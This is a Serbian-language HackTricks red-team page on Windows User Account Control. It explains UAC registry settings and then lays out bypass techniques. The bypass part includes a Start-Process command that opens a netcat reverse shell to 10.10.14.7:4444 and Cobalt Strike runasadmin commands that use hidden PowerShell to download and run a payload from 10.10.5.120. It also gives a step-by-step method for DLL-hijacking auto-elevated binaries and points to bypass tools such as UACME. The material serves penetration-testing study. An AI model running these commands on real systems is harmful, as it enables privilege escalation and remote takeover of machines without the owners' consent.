20 KiB
UAC - User Account Control
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu Proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Koristite Trickest da lako izgradite i automatizujete tokove rada pokretane najnaprednijim alatima zajednice na svetu.
Pristupite danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
UAC
User Account Control (UAC) je funkcija koja omogućava zahtev za odobrenje za povišene aktivnosti. Aplikacije imaju različite integritetne
nivoe, a program sa visokim nivoom može obavljati zadatke koji potencijalno mogu ugroziti sistem. Kada je UAC omogućen, aplikacije i zadaci uvek se izvršavaju pod sigurnosnim kontekstom naloga koji nije administrator osim ako administrator eksplicitno ne odobri tim aplikacijama/zadacima pristup nivou administratora da bi se izvršavali. To je funkcija koja štiti administratore od nenamernih promena, ali se ne smatra sigurnosnom granicom.
Za više informacija o nivoima integriteta:
{% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}
Kada je UAC na snazi, administratoru je dodeljeno 2 tokena: standardni korisnički ključ, za obavljanje redovnih radnji na običnom nivou, i jedan sa administratorskim privilegijama.
Ova stranica detaljno opisuje kako UAC funkcioniše i uključuje proces prijavljivanja, korisničko iskustvo i arhitekturu UAC-a. Administratori mogu koristiti sigurnosne politike da konfigurišu kako UAC funkcioniše specifično za njihovu organizaciju na lokalnom nivou (koristeći secpol.msc), ili konfigurisati i distribuirati putem Group Policy Objects (GPO) u okruženju Active Directory domena. Različite postavke su detaljno opisane ovde. Postoje 10 postavki Group Policy-ja koje se mogu postaviti za UAC. Sledeća tabela pruža dodatne detalje:
Neke programe automatski podižu ako korisnik pripada grupi administratora. Ovi binarni fajlovi imaju unutar svog Manifesta opciju autoElevate sa vrednošću True. Binarni fajl takođe mora biti potpisan od strane Microsoft-a.
Zatim, da bi se zaobišao UAC (podigao sa srednjeg nivoa integriteta na visoki) neki napadači koriste ovakve binarne fajlove da bi izvršili proizvoljni kod jer će biti izvršen iz procesa visokog nivoa integriteta.
Možete proveriti Manifest binarnog fajla koristeći alat sigcheck.exe iz Sysinternals-a. I možete videti nivo integriteta procesa koristeći Process Explorer ili Process Monitor (iz Sysinternals-a).
Provera UAC-a
Da biste potvrdili da li je UAC omogućen uradite:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
Ako je 1
, onda je UAC aktiviran, ako je 0
ili ne postoji, onda je UAC neaktivan.
Zatim, proverite koji nivo je konfigurisan:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
- Ako je
0
onda, UAC neće tražiti potvrdu (kao isključeno) - Ako je
1
administratoru se traži korisničko ime i lozinka da bi izvršio binarni fajl sa visokim privilegijama (na Secure Desktop-u) - Ako je
2
(Uvek me obaveštavaj) UAC će uvek tražiti potvrdu od administratora kada pokuša da izvrši nešto sa visokim privilegijama (na Secure Desktop-u) - Ako je
3
kao1
ali nije neophodno na Secure Desktop-u - Ako je
4
kao2
ali nije neophodno na Secure Desktop-u - Ako je
5
(podrazumevano) tražiće potvrdu od administratora da pokrene ne-Windows binarne fajlove sa visokim privilegijama
Zatim, treba da pogledate vrednost LocalAccountTokenFilterPolicy
Ako je vrednost 0
, tada samo korisnik sa RID 500 (ugrađeni Administrator) može obavljati administratorske zadatke bez UAC-a, a ako je 1
, svi nalozi unutar grupe "Administratori" to mogu uraditi.
I, na kraju pogledajte vrednost ključa FilterAdministratorToken
Ako je 0
(podrazumevano), ugrađeni administratorski nalog može obavljati zadatke udaljene administracije, a ako je 1
ugrađeni administratorski nalog ne može obavljati zadatke udaljene administracije, osim ako je LocalAccountTokenFilterPolicy
postavljen na 1
.
Rezime
- Ako je
EnableLUA=0
ili ne postoji, nema UAC-a za bilo koga - Ako je
EnableLua=1
iLocalAccountTokenFilterPolicy=1
, Nema UAC-a za bilo koga - Ako je
EnableLua=1
iLocalAccountTokenFilterPolicy=0
iFilterAdministratorToken=0
, Nema UAC-a za RID 500 (Ugrađeni Administrator) - Ako je
EnableLua=1
iLocalAccountTokenFilterPolicy=0
iFilterAdministratorToken=1
, UAC za sve
Sve ove informacije mogu se prikupiti koristeći metasploit modul: post/windows/gather/win_privs
Takođe možete proveriti grupe vašeg korisnika i dobiti nivo integriteta:
net user %username%
whoami /groups | findstr Level
UAC zaobilaženje
{% hint style="info" %} Imajte na umu da ako imate grafički pristup žrtvi, UAC zaobilaženje je jednostavno jer jednostavno možete kliknuti na "Da" kada se pojavi UAC prozor. {% endhint %}
UAC zaobilaženje je potrebno u sledećoj situaciji: UAC je aktiviran, vaš proces se izvršava u kontekstu srednje integriteta, a vaš korisnik pripada grupi administratora.
Važno je napomenuti da je mnogo teže zaobići UAC ako je postavljen na najviši nivo sigurnosti (Uvek) nego ako je postavljen na bilo koji od drugih nivoa (Podrazumevano).
UAC onemogućen
Ako je UAC već onemogućen (ConsentPromptBehaviorAdmin
je 0
), možete izvršiti reverznu ljusku sa administratorskim privilegijama (visok nivo integriteta) koristeći nešto poput:
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
UAC zaobilaženje sa duplikacijom tokena
- https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
- https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html
Veoma osnovno UAC "zaobilaženje" (potpisti pristup sistemu datoteka)
Ako imate shell sa korisnikom koji je unutar grupe Administratora, možete montirati C$ deljeni putem SMB (sistem datoteka) lokalno na novi disk i imaćete pristup svemu unutar sistema datoteka (čak i folderu kuće Administratora).
{% hint style="warning" %} Izgleda da ovaj trik više ne funkcioniše {% endhint %}
net use Z: \\127.0.0.1\c$
cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
UAC zaobilaženje pomoću cobalt strike-a
Cobalt Strike tehnike će raditi samo ako UAC nije postavljen na maksimalni nivo bezbednosti
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]
# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
Empire i Metasploit takođe imaju nekoliko modula za bypass UAC.
KRBUACBypass
Dokumentacija i alat na https://github.com/wh0amitz/KRBUACBypass
UAC bypass eksploatacije
UACME koji je kompilacija nekoliko UAC bypass eksploatacija. Imajte na umu da će vam biti potrebno kompajlirati UACME pomoću visual studija ili msbuild-a. Kompilacija će kreirati nekoliko izvršnih datoteka (kao što su Source\Akagi\outout\x64\Debug\Akagi.exe
), moraćete znati koja vam je potrebna.
Trebalo bi da budete oprezni jer će neki bypassi pokrenuti neke druge programe koji će upozoriti korisnika da se nešto dešava.
UACME ima verziju izgradnje od koje je svaka tehnika počela da radi. Možete pretražiti tehniku koja utiče na vaše verzije:
PS C:\> [environment]::OSVersion.Version
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
Više UAC zaobilazaka
Sve tehnike korišćene ovde za zaobilaženje UAC zahtevaju potpunu interaktivnu ljusku sa žrtvom (obična nc.exe ljuska nije dovoljna).
Možete dobiti korišćenjem meterpreter sesije. Migrirajte na proces koji ima vrednost Session jednaku 1:
(explorer.exe bi trebalo da radi)
UAC zaobilaženje sa GUI
Ako imate pristup GUI možete jednostavno prihvatiti UAC prozor kada se pojavi, zaista vam nije potreban zaobilazak. Dakle, pristup GUI-ju će vam omogućiti da zaobiđete UAC.
Štaviše, ako dobijete GUI sesiju koju je neko koristio (potencijalno putem RDP-a) postoje neki alati koji će se izvršavati kao administrator odakle biste mogli pokrenuti na primer cmd kao admin direktno bez ponovnog dobijanja UAC upita kao što je https://github.com/oski02/UAC-GUI-Bypass-appverif. Ovo može biti malo skrivenije.
Bučni brute-force UAC zaobilazak
Ako vam nije stalo do buke uvek možete pokrenuti nešto poput https://github.com/Chainski/ForceAdmin što traži privilegije za podizanje dok korisnik ne prihvati.
Vaš sopstveni zaobilazak - Osnovna metodologija zaobilaska UAC-a
Ako pogledate UACME primetićete da većina UAC zaobilazaka zloupotrebljava Dll Hijacking vulnerability (uglavnom pisanje zlonamernog dll-a na C:\Windows\System32). Pročitajte ovo da biste naučili kako da pronađete Dll Hijacking vulnerabilitet.
- Pronađite binarni fajl koji će se autoelevate (proverite da kada se izvrši radi na visokom nivou integriteta).
- Pomoću procmon-a pronađite "NAME NOT FOUND" događaje koji mogu biti ranjivi na DLL Hijacking.
- Verovatno ćete morati da napišete DLL unutar nekih zaštićenih putanja (kao što je C:\Windows\System32) gde nemate dozvole za pisanje. To možete zaobići koristeći:
- wusa.exe: Windows 7, 8 i 8.1. Omogućava izvlačenje sadržaja CAB fajla unutar zaštićenih putanja (jer se ovaj alat izvršava sa visokog nivoa integriteta).
- IFileOperation: Windows 10.
- Pripremite skriptu za kopiranje vašeg DLL-a unutar zaštićene putanje i izvršite ranjivi i autoelevated binarni fajl.
Još jedna tehnika zaobilaska UAC-a
Sastoji se u praćenju da li se autoElevated binarni fajl pokušava čitati iz registra ime/putanja binarnog fajla ili komande koja će biti izvršena (ovo je interesantnije ako binarni fajl traži ove informacije unutar HKCU).
Koristite Trickest da lako izgradite i automatizujete tokove rada pokretane najnaprednijim alatima zajednice na svetu.
Pristupite danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}